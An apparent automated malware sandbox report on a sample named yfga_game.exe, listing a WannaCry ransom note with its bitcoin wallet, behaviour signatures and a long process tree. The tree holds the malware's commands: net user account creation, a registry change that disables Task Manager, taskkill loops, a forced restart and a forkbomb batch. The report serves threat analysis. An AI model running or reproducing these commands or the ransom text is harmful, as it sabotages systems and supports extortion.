Overview

overview

10

Static

static

3

yfga_game.exe

windows7-x64

10

yfga_game.exe

windows10-2004-x64

10

Resubmissions

15/07/2024, 12:26

240715-pmah5stdrh10

15/07/2024, 12:01

240715-n64ewsyfjb10

15/07/2024, 11:54

240715-n278aaxhmd10

15/07/2024, 11:32

240715-nnry5sthpm10

Analysis

  • max time kernel
    202s
  • max time network
    359s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    15/07/2024, 11:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    yfga_game.exe
  • Size 46.7MB
  • Sample240715-nnry5sthpm
  • SHA256 cfd64f9ed065d19f7c488db3a8e29a553c9e61849b1d08765006110d73d3434b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
wannacryaspackv2defense_evasiondiscoveryevasionexecutionimpactpersistenceransomwarespywarestealerupxworm

Malware Config

Extracted

Path

  • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]

  • wannacry

Ransom Note
  • Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

  • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Disables Task Manager via registry modification
    evasion
  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Drops startup file 2 IoCs
  • Executes dropped EXE 20 IoCs
  • Loads dropped DLL 49 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 4 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Delays execution with timeout.exe 4 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 63 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 58 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Runs regedit.exe 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 41 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 6 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\yfga_game.exe
    "C:\Users\Admin\AppData\Local\Temp\yfga_game.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\YFGA.bat" "
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2876
      • C:\Windows\SysWOW64\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\IMPORTANT.txt
        3⤵
          PID:2720
        • C:\Windows\SysWOW64\net.exe
          net user "GO BACK!" "???" /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 user "GO BACK!" "???" /add
            4⤵
              PID:2628
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskManager" /t REG_DWORD /d 1
            3⤵
              PID:2016
            • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\screenscrew.exe
              screenscrew.exe
              3⤵
              • Executes dropped EXE
              PID:2336
            • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\flasher.exe
              flasher.exe
              3⤵
              • Executes dropped EXE
              PID:2920
            • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\calc.exe
              calc.exe
              3⤵
              • Executes dropped EXE
              PID:1244
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /K hydra.cmd
              3⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:668
              • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\jokewarehydra.exe
                jokewarehydra.exe
                4⤵
                • Executes dropped EXE
                • Suspicious use of FindShellTrayWindow
                PID:1732
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy3.vbs"
                4⤵
                  PID:872
              • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\walliant.exe
                walliant.exe
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1684
                • C:\Users\Admin\AppData\Local\Temp\is-LI7AF.tmp\walliant.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-LI7AF.tmp\walliant.tmp" /SL5="$40166,4511977,830464,C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\walliant.exe"
                  4⤵
                  • Executes dropped EXE
                  PID:2340
              • C:\Windows\SysWOW64\net.exe
                net user "FUCK OFF YFGA" "I DONT KNOW" /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1044
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 user "FUCK OFF YFGA" "I DONT KNOW" /add
                  4⤵
                    PID:2968
                • C:\Windows\SysWOW64\reg.exe
                  reg import reg.reg
                  3⤵
                  • Sets desktop wallpaper using registry
                  PID:1900
                • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\YouAreAnIdiot.exe
                  youareanidiot.exe
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2944
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2944 -s 876
                    4⤵
                    • Loads dropped DLL
                    • Program crash
                    PID:780
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im fontdrvhost.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:340
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im TextInputhost.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1552
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im explorer.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2012
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 5
                  3⤵
                  • Delays execution with timeout.exe
                  PID:1200
                • C:\Windows\SysWOW64\shutdown.exe
                  shutdown /r /t 30000 /c "HAHA I HACKED YOU AYFGA ROCKS YOU"
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1936
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /K spam.bat "forkbomb" /min
                  3⤵
                    PID:296
                    • C:\Windows\SysWOW64\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                      4⤵
                        PID:1540
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /f /im taskmgr.exe
                        4⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1164
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /f /im regedit.exe
                        4⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2324
                      • C:\Windows\SysWOW64\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                        4⤵
                          PID:1500
                        • C:\Windows\SysWOW64\WScript.exe
                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                          4⤵
                            PID:1980
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /f /im taskmgr.exe
                            4⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1604
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /f /im regedit.exe
                            4⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2052
                          • C:\Windows\SysWOW64\WScript.exe
                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                            4⤵
                              PID:2272
                            • C:\Windows\SysWOW64\WScript.exe
                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                              4⤵
                                PID:2972
                              • C:\Windows\SysWOW64\taskkill.exe
                                taskkill /f /im taskmgr.exe
                                4⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2744
                              • C:\Windows\SysWOW64\taskkill.exe
                                taskkill /f /im regedit.exe
                                4⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2672
                              • C:\Windows\SysWOW64\WScript.exe
                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                4⤵
                                  PID:1204
                                • C:\Windows\SysWOW64\WScript.exe
                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                  4⤵
                                    PID:2596
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im taskmgr.exe
                                    4⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2840
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im regedit.exe
                                    4⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1544
                                  • C:\Windows\SysWOW64\WScript.exe
                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                    4⤵
                                      PID:3008
                                    • C:\Windows\SysWOW64\WScript.exe
                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                      4⤵
                                        PID:396
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im taskmgr.exe
                                        4⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1800
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im regedit.exe
                                        4⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1548
                                      • C:\Windows\SysWOW64\WScript.exe
                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                        4⤵
                                          PID:2924
                                        • C:\Windows\SysWOW64\WScript.exe
                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                          4⤵
                                            PID:872
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /f /im taskmgr.exe
                                            4⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1820
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /f /im regedit.exe
                                            4⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2264
                                          • C:\Windows\SysWOW64\WScript.exe
                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                            4⤵
                                              PID:1884
                                            • C:\Windows\SysWOW64\WScript.exe
                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                              4⤵
                                                PID:2412
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /f /im taskmgr.exe
                                                4⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1756
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /f /im regedit.exe
                                                4⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2536
                                              • C:\Windows\SysWOW64\WScript.exe
                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                4⤵
                                                  PID:1588
                                                • C:\Windows\SysWOW64\WScript.exe
                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                  4⤵
                                                    PID:2504
                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                    taskkill /f /im taskmgr.exe
                                                    4⤵
                                                    • Kills process with taskkill
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1472
                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                    taskkill /f /im regedit.exe
                                                    4⤵
                                                    • Kills process with taskkill
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2572
                                                  • C:\Windows\SysWOW64\WScript.exe
                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                    4⤵
                                                      PID:2624
                                                    • C:\Windows\SysWOW64\WScript.exe
                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                      4⤵
                                                        PID:1100
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill /f /im taskmgr.exe
                                                        4⤵
                                                        • Kills process with taskkill
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1168
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill /f /im regedit.exe
                                                        4⤵
                                                        • Kills process with taskkill
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2968
                                                      • C:\Windows\SysWOW64\WScript.exe
                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                        4⤵
                                                          PID:668
                                                        • C:\Windows\SysWOW64\WScript.exe
                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                          4⤵
                                                            PID:864
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill /f /im taskmgr.exe
                                                            4⤵
                                                            • Kills process with taskkill
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1720
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill /f /im regedit.exe
                                                            4⤵
                                                            • Kills process with taskkill
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1800
                                                          • C:\Windows\SysWOW64\WScript.exe
                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                            4⤵
                                                              PID:1664
                                                            • C:\Windows\SysWOW64\WScript.exe
                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                              4⤵
                                                                PID:3048
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /f /im taskmgr.exe
                                                                4⤵
                                                                • Kills process with taskkill
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2792
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /f /im regedit.exe
                                                                4⤵
                                                                • Kills process with taskkill
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1200
                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                4⤵
                                                                  PID:2552
                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                  4⤵
                                                                    PID:2416
                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                    taskkill /f /im taskmgr.exe
                                                                    4⤵
                                                                    • Kills process with taskkill
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1952
                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                    taskkill /f /im regedit.exe
                                                                    4⤵
                                                                    • Kills process with taskkill
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2500
                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                    4⤵
                                                                      PID:1472
                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                      4⤵
                                                                        PID:2780
                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                        taskkill /f /im taskmgr.exe
                                                                        4⤵
                                                                        • Kills process with taskkill
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1076
                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                        taskkill /f /im regedit.exe
                                                                        4⤵
                                                                        • Kills process with taskkill
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2368
                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                        4⤵
                                                                          PID:2976
                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                          4⤵
                                                                            PID:2532
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            taskkill /f /im taskmgr.exe
                                                                            4⤵
                                                                            • Kills process with taskkill
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2008
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            taskkill /f /im regedit.exe
                                                                            4⤵
                                                                            • Kills process with taskkill
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1800
                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                            4⤵
                                                                              PID:1820
                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                              4⤵
                                                                                PID:2160
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill /f /im taskmgr.exe
                                                                                4⤵
                                                                                • Kills process with taskkill
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:928
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill /f /im regedit.exe
                                                                                4⤵
                                                                                • Kills process with taskkill
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:976
                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                4⤵
                                                                                  PID:888
                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                  4⤵
                                                                                    PID:2884
                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                    taskkill /f /im taskmgr.exe
                                                                                    4⤵
                                                                                    • Kills process with taskkill
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:2040
                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                    taskkill /f /im regedit.exe
                                                                                    4⤵
                                                                                    • Kills process with taskkill
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:1396
                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                    4⤵
                                                                                      PID:2696
                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                      4⤵
                                                                                        PID:3020
                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                        taskkill /f /im taskmgr.exe
                                                                                        4⤵
                                                                                        • Kills process with taskkill
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1896
                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                        taskkill /f /im regedit.exe
                                                                                        4⤵
                                                                                        • Kills process with taskkill
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1792
                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                        4⤵
                                                                                          PID:960
                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                          4⤵
                                                                                            PID:2536
                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                            taskkill /f /im taskmgr.exe
                                                                                            4⤵
                                                                                            • Kills process with taskkill
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1956
                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                            taskkill /f /im regedit.exe
                                                                                            4⤵
                                                                                            • Kills process with taskkill
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:576
                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                            4⤵
                                                                                              PID:3052
                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                              4⤵
                                                                                                PID:868
                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                taskkill /f /im taskmgr.exe
                                                                                                4⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:1088
                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                taskkill /f /im regedit.exe
                                                                                                4⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2904
                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                4⤵
                                                                                                  PID:1760
                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                  4⤵
                                                                                                    PID:1964
                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                    taskkill /f /im taskmgr.exe
                                                                                                    4⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1944
                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                    taskkill /f /im regedit.exe
                                                                                                    4⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1436
                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                    4⤵
                                                                                                      PID:2672
                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                      4⤵
                                                                                                        PID:1628
                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                        taskkill /f /im taskmgr.exe
                                                                                                        4⤵
                                                                                                        • Kills process with taskkill
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:3012
                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                        taskkill /f /im regedit.exe
                                                                                                        4⤵
                                                                                                        • Kills process with taskkill
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:1896
                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                        4⤵
                                                                                                          PID:644
                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                          4⤵
                                                                                                            PID:1920
                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                            taskkill /f /im taskmgr.exe
                                                                                                            4⤵
                                                                                                            • Kills process with taskkill
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2712
                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                            taskkill /f /im regedit.exe
                                                                                                            4⤵
                                                                                                            • Kills process with taskkill
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1864
